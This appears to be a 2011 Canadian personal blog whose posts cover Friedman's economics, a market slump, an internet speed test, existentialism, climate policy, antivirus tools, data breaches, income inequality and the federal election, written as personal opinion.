Friedman also believes free markets are the basis of personal and political liberty. Friedman goes as far as saying that a healthy private economy naturally provides a check on the power of the state. While I don't necessarily disagree with this statement, I believe a free market with too much power doesn't stop at providing checks on the power of the state but at some point they begin to influence the state into making decisions to benefit those with too much power. I don't think there is much arguing that powerful corporation in many sectors spend a lot of resources on lobbying to make sure the state doesn't anything too drastic that could negatively affect their business. That's part of what makes me believe it is imperative to have a strong economy based on capitalist ideals, but a sustainable economy that benefits the people and is monitored by the state. I believe it is just as important for the state to keep checks on the power of the corporations as it is for the corporations to keep check on the power of the state.

In Capitalism and Freedom, the author also talks about the great depression. He says that the view it as a failure of the markets is false, arguing the depression was largely a failure of government. His argument is that the failure of the government to increase money supply in the wake of bank collapses is what caused the depression. However, and this may be just me, it sounds a lot like Friedman is blaming the government for the great depression for not doing something and saying at the same time that governments shouldn't try to control the economy. I know I have the perspective of someone living in a recession after the great depression, where a lot of funds were injected into the economy from federal funds in order to minimize the impact of the recession and seeing its effects. As much as I think the money allocation for the most part was a half ass response to what was wrong and continues to be wrong, I can't deny the effects it had on the economy. A lesson was definitely learned from the great depression, and that lesson was not to let it work itself out. I think the only aspect of this topic I agree with Friedman is that the money spent as stimulus packages are mostly inefficiently allocated.

Lastly, Friedman talks a lot about governments controlling people to act against their immediate interest to promote a "supposedly general interest". As much as he does have good examples of bad regulations that originated from governments in the past, I would always argue that his examples are clearly the error of the people in charge at the time but not of the government as a whole. The same way markets are highly modulated by individuals in good and bad ways, the government is also subjected to "bad calls" from the people in power. People are bound to make mistakes, but the error of the few should not invalidate the value of the whole. In the same manner influential individuals have the ability to destroy their company, individuals can also destroy their own political parties and open the way for a change in power. As I said there were some good examples of what he calls unjustifiable government regulations, there are many I'd like to say I strongly disagree such as relation of banks, pensions, minimum wages and public housing. Friedman claims minimum wage implementation simply increased unemployment; he says public housing concentrated poverty in pockets and social security created dependence for people who might have otherwise contributed to the economy. I feel most of his examples are circumstantial and simply point out flaws in the implementation of good policies rather than weaken the value of the policies themselves.

Its interesting to read Friedman's ideas and note that his right winged views are still used in politics today. I think he does bring a lot of interesting ideas to the table and he points out a lot of flaws in social programs and government regulations. It is important however, to look at his views with the knowledge that he lived in a different time without a lot of the advancements we've had in the understanding of economics in the last 30-40 years. It is similar to reading the works of ancient Greeks in the natural sciences and admiring their ingenuity for their time.

Instability hits the stock market

Interesting development in the stock markets yesterday, as most people know by now the TSX had a historically bad trading day yesterday which resulted in the loss of all gains in 2011, the situation south of the border was much better either. I've been waiting for our next recession for a few months now, but I didn't think we would see another crash for at least another year or two. What happened yesterday showcases that the recovery over the past two years may not be based on the actual stability of markets. Investors are turning away from North America and Europe as the two are now having to deal with serious debt issues. Unfortunately emerging markets like Brazil have also been having some slips as well, meaning even some of these options are starting to look less appealing. I may be thinking a bit negatively but I do believe we should get ready for another recession, I don't believe it will come from the housing market this time but I have no clue where it will come from, perhaps the energy sector? I don't know. But we will be seeing gold prices rising in the next while, the Canadian Dollar will finally drop a bit (which isn't terrible really) and we should see interest rates go down a bit.

Bandwidth test: Rogers (Toronto)

Hello, this is just a small post I figured might be useful for someone maybe. I just tested my Rogers internet connection and figured I would share with the interwebs in case people are curious about Rogers. I live in Toronto and I have the "ROGERS express internet" which is supposed to get up to 12Mbps download and 512Kbps upload with 60Gb of monthly bandwidth.

I tested this at 10:15AM on a Wednesday:
9.96Mbps download
505knps upload

 Wed/18:04 - 10.5M/490K
Wed/18:29 - 5.0M/503K
Tue/09:10 - 7.2M/499K

I'm using a cable so no wifi interference here. Just for kicks I also tested my neighbors wifi which is Bell and got:
414kbps download
372kbps upload

I'm curious to know how come I get such good upload speed on their wifi in proportion to my numbers, I wonder if it has anything to do with the fact the wifi signal is not 100%

jsyk I tested my connection using bandwidthplace.com

So what is existentialism?

Unlike a lot of the titles of my older posts, I didn't just arbitrarily pick a title for this blog. In recent years I've been trying to explore a few complex questions and I really liked a lot of the ideas from thinkers often labeled under existentialists. Existentialism is a word you probably hear every now and then but might not know exactly what it means, so I'm going to probably post a few times about what existentialism means to me, and why I find it a very comforting way of looking at life.

Perhaps a good way to start is to explain what existentialism involves and what it doesn't include. Existentialism is a philosophical school of though that includes certain views on human free will, and often philosophers talk about people becoming better when struggling against their individual nature and fighting for life. Existentialists believe that decisions are often difficult and have consequences, so personal responsibility and discipline is important. It is viewed that society and other social constructs are arbitrary and a lot of things are not rational.

Above are some of concepts that existentialism involves. It does not however involve the value of wealth, pleasure or honor in life. Social values and structures can serve to control the individual. Existentialism does not preach the idea that people should accept things for what they are and that this is enough in life, it doesn't include the idea that people are basically good but tainted by external forces. It doesn't believe that science will make things better. You should also never say "but I wanted X and Y" or "it's not my fault".

Maybe I'm just being confusing, so here is one definition of what existentialism is:

"Existentialism is a 20th century philosophy that focuses in the analysis of human existence from many angles. It focuses on humans as individuals, each one spending a lifetime changing their essence. Existentialists are concerned with finding themselves and finding meanings in life through choices and personal responsibility. Personal choices are unique without the need for an objective form of truth."

I love most of the ideas involved in Existentialism, but I just wish to note that I don't agree with everything in it. I suppose a true existentialist wouldn't :). In particular, religion is often dismissed by existentialists, and a lot of these philosophers happen to be atheists. However, religion and existentialism to me are very much complementary to each other, so much so that the father of existentialism was the christian philosopher, Soren Kierkegaard. I also don't necessarily disregard of the general need for methods to control people, as these shouldn't be seen as constraints for personal development, but they are just part of the environment presented to the individual.

Warming the kettle

It's not very difficult to blame global warming for the natural disasters occurring every year in the world. The fact that this years seems particularly bad in terms of tornadoes and floods just adds fuel to debates on the validity and severity of climate change. The problem is, that simply looking at small scale trends in temperature changes that include only a 100 years of serious measurements can produce unreliable data, prone to statistical insignificance on the account of outliers and natural trends. To me it seems that evidence is essentially being ignored by our leaders anyway, it's always something people like to discuss, but rarely real commitments are made.

What if global warming is indeed something that humans are creating this time around. What if the consequences of it are and will be catastrophic in future years? And what it by the time real measures are taken it will be too late? Sometimes I wonder how bad things would have to get in order for our leaders to take real action in this matter. When does climate change becomes as serious of an issue as the health of the economy? 

It doesn't seem terribly unreasonable to think that a warming planet would have more thermal energy to evaporate and hold more water. Holding more water equates to higher amounts of stored potential energy which can be unleashed in violent weather events. It really isn't rocket science, so you wouldn't think ivy league types would be so unsure about the consequences of a warming Earth.

When Obama first got elected, he seemed very active in addressing climate relate issues, since the mid-term election however his actions speak louder. In march 2011 he opened new areas in Wyoming for coal mining, in April he removed restrictions in mountain top removal practices. In May his administration put on hold restrictions on pollution in industries like paper and refineries as well as speeding off permits to drilling for oil in Alaska. This showcases what the priorities really are for Obama, and not much more is done in other nations. The bottom line is, a lot of these needed changes will be politically unpopular but in the end the difficult decisions have to be made by the elected man in power. This would be a great opportunity for leaders to be remembered for making a difference, yet I believe we'll have to wait for another term see that.

New antivirus and anti-malware

After some significant frustrations with my computer in recent days I decided to looks for different ways to protect my machine. I was basically using Norton Antivirus and just whatever comes with windows in terms of firewall and stuff.

 On my desktop now I have been running Microsoft Security Essentials and I have had a good experience so far. I is only using 2.1k of memory compared to the 15k I was using with NAV.

http://download.cnet.com/Microsoft-Security-Essentials/3000-2239_4-10969260.html
http://www.microsoft.com/en-ca/security_essentials/default.aspx

I am now also using malwarebytes to get rid of unwanted malware that isn't picked up by MSE. This is a great little program, that you can use for free if you get a version without live protection. It's not a big deal to use the free version as long as you do regular scans imo.

http://www.malwarebytes.org/

Lastly, I've also been using the Microsoft Safety Scanner on a weekly/biweekly basis. It is a backup way to look for unwanted software and scripts. It helps remove viruses, spyware and other malicious software in conjunction with the AV. It works similarly to malwarebytes, where you have to do scheduled scans, but I've had quite a bit of success using it to get rid of some of those really really annoying ad-wares. Here is where you can pick up a free copy:

http://www.microsoft.com/security/scanner/en-us/default.aspx


*note that this one is updated often, and the software expires in 10 days since it will be outdated already by then. I tend to use this one twice a month or so.

Hackers R Us

There have been a lot of hacker attacks in the news lately, it seems like it's happening more and more frequently now due to an increase in the number of hackers and interest in these services from advertiser and marketing people around the world. We do after all live in the age of information and information is money. Sony was one of the bigger attacks recently, causing PSN to shut down for a while and costing the company a huge stain in their image as well as millions in law suits. Now I hear Honda Canada has just been attacked as well, and I'm not even mentioning Air Miles and all the other North American databases that have had their networks breached for customer data. So what can companies and customers do to prevent being victims of these crimes?

I have been hearing about the end of human biological evolution for a while now. It is believed that biological evolution is too slow to compete with the technological evolution that humans have been experiencing for the past centuries. The mechanics of this evolution in this age of information is way too complex and fast for nations to overlook and control. Networks are faster and more integrated then ever and the trend is not changing anytime soon, and just like copyright issues we've been seeing for a while, privacy is going to continue to be a major area of discussion in the future years. These are issues that will not be countered by governments fast enough and the ignorance of people in these matters will eventually cause one of two things. Governments will enforce much more regulation on networks then necessary just to prevent issues such as these to propagate, or they will attempt to educate people more about vulnerabilities and corporations will eventually see that more attention needs to be paid to hacking and data theft.

I'm not a hacker, but I do find a lot of what hackers do fascinating. For years I've been learning just how vulnerable we really are to people that want to people with knowledge of networks and computers. The best thing to do at this point is to play safe, corporations should not be storing unneeded information and they should invest more in network security. In the end the consumers pay part of the price and companies are damaged as well. More and more technologies like this will be areas heavily explored for crimes and I am still waiting to see a digital act of terrorism. Unfortunately, much like flying nowadays, the Internet may very well be changed for the worst with cyber terrorism, this may be inevitable however.

Positive sorting or unequal distribution?

Ever since the election 9 days ago I have been considering the conservative majority win. I'm going to leave aside the fact that our democratic system allows for a minority (40%) of people to decide our nation's leader, instead I would like to focus on who this minority has chosen to be Canada's leader for the next 4 years. If it wasn't clear so far, I really did not want the conservatives to be in power.

To start, I think I need to recognize that 60% of voters were supporters of the left as we know the liberals lean somewhat to the left of the political spectrum and the NDP is an even more socialist party. So really I would like to challenge the 40% of voters who did cast a vote to the right on May 2nd. I can't really say anything about why the majority of these folks voted conservative, but I do know a significant portion of them voted on the idea that Harper was good for our economy. People believe he has been doing well handling the recession and his tax cutting tendencies are good for Canada's long term economical growth. Well allow me to explain why Harper's approach does not help the struggling class and in the long term it does not have Canadians in its best interest.

I think any Canadian would agree that what Canada needs during these tough economic periods is a plan that grows the strength and resilience of our economy. Our economy is not just banks and corporations, it is based on people and natural wealth. How we produce and distribute our natural wealth is key to the future strength of Canada's economy. Having said all this let me bring up a very strong period of economic growth. Between 1997 and 2007, Canada saw very healthy economic growth, up until the most recent recession. During this period the top 1% of the population got 1/3 of the gains of this prosperous period. This is not unexpected as we can find that historically prosperous periods often benefit mostly the wealthy, this is somewhat natural and it is usually balanced by a recession that reduces this gap to some extent. However, the last time we've seen this level of growth was in the 60's, back then the top 1% only got 8% of the share, so we're looking at a much more concentrated distribution of resources. Statistics say that in this decade the richest 1% doubled their share of the total income in Canada and the richest 0.1% tripled their share of the national income. Now the bottom third of the population only got 8% of the economic growth of the decade in question. This is very much an uneven distribution of gains, and they present a much deeper problem then the fact that the rich are getting richer a lot faster than the rest of us.

In order to really show how this unequal distribution affects everyone negatively, we might as well look at the middle class, since we Canadians like to claim it as our strongest class. The median income is the income where half the population makes more than that and half makes less than that. In 1976 this median was around 46k (adjusting for inflation) and in 2008 it was 48k. So during this entire 30 odd years, the average household has become more educated and in a lot of cases now, both parents need to work. So in this entire period of economic growth, we have not seen much in terms of progress in the middle class. To accompany this trend we have also seen jobless benefits and social insurance get watered down.

Since the beginning of this most recent recession, unlike what is seen historically, measures to get the economy back to it's feet have not affect the top earners. The fact that social assistance for the unemployed has been stripped down, people lose their jobs and grab what they can to stay afloat, including much lower paying jobs and self employment. This causes the % unemployment numbers to deflate despite the reality of the situation, which is people are earning much less than before. Not only this but there has been a lot of downward pressure on wages, pensions and benefits as if the middle class is what caused the recession. This isn't as apparent in Canada, but in the US there have been plenty of high profile debates on these issues, such as the teachers unions in Wisconsin. I don't understand how these kinds of measures are seen by the population as acceptable. I don't understand why more people are not completely outraged by what right leaning politicians see as valid measures to help the economy.

Maybe I'm too harsh on conservatives and republicans, but what do people on the right say about what drives this increase in social gaps? A lot of them like to point out marriage inequality, basically the rich marry the rich, and poor marry the poor and this is a social phenomenon that creates more inequality. This is often called positive sorting, and it is just a nice way to justify a problem they don't like to address. It's a way to avoid the real cause which is that during prosperous periods the rich gets richer and during recessions the poor gets fired. Statistics also show that the average household with children now works 200 hours more a year then they did a decade ago. The biggest increase in working time is at the bottom earners. This makes sense because if your new job doesn't pay enough to keep things afloat, then the parents have to work more. So despite the increased amount of hours worked at the bottom, the increase in wages happened at the top where there were no increase in hours worked during the same period.

What many people see as the strength of the conservative party is their measures to ensure economic success in Canada. What are some of these measures then? Well a very common right winged approach is to lower taxes. This is a great way to be popular among the general canadian, who is dumb enough to think that these lower taxes will help them. Apparently a couple of hundred dollars in their pocket will help them solve their financial troubles. I wonder if someone unemployed sees it that way too. To complicate the matter even further, there are these corporate tax cuts that have been occurring since 2007. Now where is the rationale for those?

The idea behind corporate tax cuts are to give to those who have more and they will give to those who need it. Tories say that cutting corporate taxes increases profit meaning more jobs may be created and not only that but foreign investors become interested in our country as a potential investment opportunity. It sounds good, but the reality is not quite as colorful. It turns out the CEOs of large companies are not as giving as conservatives might expect. The average income in 2009 of the top CEOs was 6.7mil, which makes them worth 155 times the average worker, while before the recession the top CEOs were worth 104 times the average worker. I may be reading too much into these numbers, but something about cutting taxes to the rich doesn't seem to be helping the general population. This trend of social gap increase during good times and decrease during recessions is not the case anymore. The top earners are getting benfits during tough times while the average family is keeping their salary in the best cases. Not only that but government deficit is growing at an alarming rate.

So people need to wake up, Harper's measures are not there to help the middle and the lower class. People voting for Harper need to be aware of this because tax cuts don't help the working class and if that's how they buy your vote, I have to tell you, you've been fooled. I worry for future generations, families are already working close to their full capacity. It is almost a necessity nowadays to have 2 working parents, and this obviously has implications on families, if this situation gets worst, how will it be possible for future generations to survive? How will this working class be able to buy a home, or save money for their children's education or even for their own retirement? This is serious, if we keep going in the direction our right wing politicians want we will see Canada become more and more segregated into rich and poor.

on 2011 elections

We are getting close to Election Day in Canada, and candidates and parties are working very hard to earn our votes. This is unfortunately the first time I am actually getting informed and I would like to share my opinion.

All parties ultimately have the best interest of the country in mind (ideally) but the bottom line is that you can’t make everyone happy. Furthermore, we don’t live in a world with perfect political structures or ideal economic policies. I may come across somewhat socialist to some, but I wouldn’t want anyone to judge my opinion on those premises since that would be a logical fallacy and would go completely against my goal here, I just want to paint the picture I see and let the reader be the judge. I would love to get some feedback as well, maybe learn something as well.

As I said above, there is no perfect form of government, to quote Churchill “Democracy is the worst form of government, except for all those others that have been tried”. I agree with that statement that democracy is the best we’ve come up with so far. In Canada, unlike many other developed nations such as the USA, we use a parliamentary form of democracy which has many great aspects as well as some drawbacks. From observing discussions and how politics are made in Canada, I believe the parliamentary system allows more areas and communities to express their voice, as well as it allows parties that are not in power to still have the opportunity to participate in decisions made in the House of Commons. On the other hand, this also causes politics to move very slowly and sometimes irrelevant rhetoric occurs just for the sake of gaining popular support over some particular issue. I will point out Jack Layton here, since watching him over the past 4 years or so, I began to realize I have no idea what he wants or what he believes. His opinion is ALWAYS just the opposite of the majority, it gets very annoying and it perfectly illustrates the problems with parliamentarism. I do have to point out this type of party leader is not very different from what you see in other countries, the only problem is that Layton has a much more active political role than John McCain for example. On the other hand, Stephen Harper has a very distinct way about conducting himself since he’s been in power. He is often not very interested in the opinion of the opposition; he often makes decisions on his own and keeps much of the important information away from the public. I can use a few examples of how Harper is more of a guy that doesn’t care much for our parliamentary system. In some ways that’s not a bad way to rule a diverse country like Canada, but it does require decisions to be made which reflect the will of the people. I have to say most decisions I can use as examples here don’t reflect what I think is best for our nation. Some people may like his style, and I can’t argue much with that, but his disobedience to the Supreme Court in the Omar Khadr case is a perfect example of how he is not great at playing in a team. I grew up hearing that the best leaders are the leader that can hear what others have to say, Harper is just not that kind of leader. The other example I would like to bring up is the purchase of our CF-35s in recent months, this was a decision that had very little input from the opposition, and the information given to the public before the purchase was false, stating just about 50% of the actual costs of such decision. Personally I do think there are good reasons to invest in our military, but I also feel that given our current political state and relations with other nations, we may not necessarily need such an expensive upgrade to our air force at this time. However, given the current state of our economy, national debt and ultimately the world economy, I definitely believe there is a large need for investments in related areas.

The Conservatives are not as right winged as the Republicans in the United States, however in a comparative scale; they are the party most similar to them. In terms of views of how an economy should work, they share some of the same core values, these include:

- Lowering spending in social programs
- Lower taxes
- Increase military budget

Unlike the US, fortunately for us, they are not as enthusiastic about increasing national debt to allow for economic growth, which in my opinion uses similar principals to a Ponzi scheme.

I think there is enough debate on why republicans and conservatives hold such views. I think people should be allowed their opinions of course, but I can’t refute the fact that some opinions are just wrong. I could go on all day giving examples of how these economical strategies causes an increase in the gap between social classes, and I could even more easily talk about examples of how the vast majority of underdeveloped nations adopt these forms of strategies, but the relevance of those examples would be too easily contested. On the other hand we have a perfectly good example of a world super power of the 20th century slowly becoming more like a developing nation with a huge economy. I’m talking about the USA, with its significant increases in uneven distribution of wealth, increases in poverty as well as a massive decrease in the level of education of its population. America has been moving towards this kind of nation since the 80’s. There are many opinions on why this is the case, and I’m not going to get into much detail on this, but perhaps Cold war propaganda, corporate greed and the fantasy of the American dream are some of the factors. It is shocking to me how socialism is almost a swear word in the USA, “No, we don’t want equal opportunities, look at Russia and Cuba”. Unfortunately, they fail to see that socialism is not communism, and socialist tendencies have been very effective in countries that are actually growing sustainably. By socialist tendencies, I would use examples such as increased taxation which can then be used in the development of infrastructure as well as social programs, and even the management of essential services being a national affair (ie. Universal healthcare, policing and education). Now what are some examples of nations that are managed in a more socialist way? I would like to point out Scandinavian countries such as Sweden, Denmark and Norway which have consistently been on the top of charts of best nations to live in. These nations are well managed, all of them have some form of universal healthcare, and the gap between social classes is nowhere near what you find in developing nations and the US. These are countries with smaller but stronger and stable economies, and a lot of attention to research and infrastructure.

Now let me talk a little bit about tax cuts. In theory, Harper’s plans of cutting taxes has good intentions, which is to help people out in difficult times by giving people a little bit of extra spending money, which in turn should go back into the economy helping it get back on it’s foot. Sounds good doesn’t it? However, the part that is not entirely illustrated in this picture is the fact that taxes are paid by people who are employed and people who are making money; therefore you really aren’t addressing the problems of unemployment and sustainable growth. Implementing things like infrastructure spending, incentives for low income students to be able to afford higher education as well as more interest free student loans on the other hand are more long term plans that would actually help economic growth as well as unemployment. Also, it is not very politically advantageous to do too much long term projects because if the other party gets to power before you can reap the benefits of these projects, then other party can take all the credit. That’s very unfortunate, and much like what is seen in microeconomies, sustainable growth is a result of a long term strategy, band-aid solutions are just good for getting elected. This brings me to one of the first points in Michael Ignatieff’s campaign; which was to increase funding for higher education in Canada. This is a long term project, unlike Harper’s tax cuts.

++ Now let me talk a little bit more about the Liberals. I have to say I am not the biggest fan of Michael Ignatieff, and I just don’t think he is necessarily the right leader for the party. My opinion of him has improved somewhat since he started his tour last month, but I’m still not convinced. The thing is, I can’t say I like Stephen Harper and I specially don’t like Jack Layton for reasons I’ve already pointed out. Elizabeth May is likeable but she has no chance and I wouldn’t want to waste my vote on her. I also think her party is not necessarily minority material anyway. So based on that I have to look past the leaders and into what party I believe can do the best for Canada. Historically, the Liberal Party has been the most influential party in Canada with notable leaders such as Lester Pearson and Pierre Trudeau. Paul Martins mandate was tainted by a scandal, but I would imagine that a lesson had to be learned from that, unfortunately that scandal is definitely part of the reason Conservatives became popular. Cretien was another decent leader, perhaps not the most revolutionary politician, but one that was honest and kept the country in the top of the list of best countries to live in during his time in power. Since the Conservatives took over with their minority government Canada has slowly dropped in the ranking, and I feel Canada has moved somewhat to the right during this period. Therefore, these are some of the reasons I feel that it is important for me to vote this May 2nd, and it’s important for me to vote for the option I feel could make the best option available. I hear a lot of people say “I won’t vote because I don’t like any of the parties/candidates”, and I’ve said that a lot in the past. However, that is not a great way to exercise my opinion; a better way is to weight out the available options and vote for the best one, even if it isn’t perfect.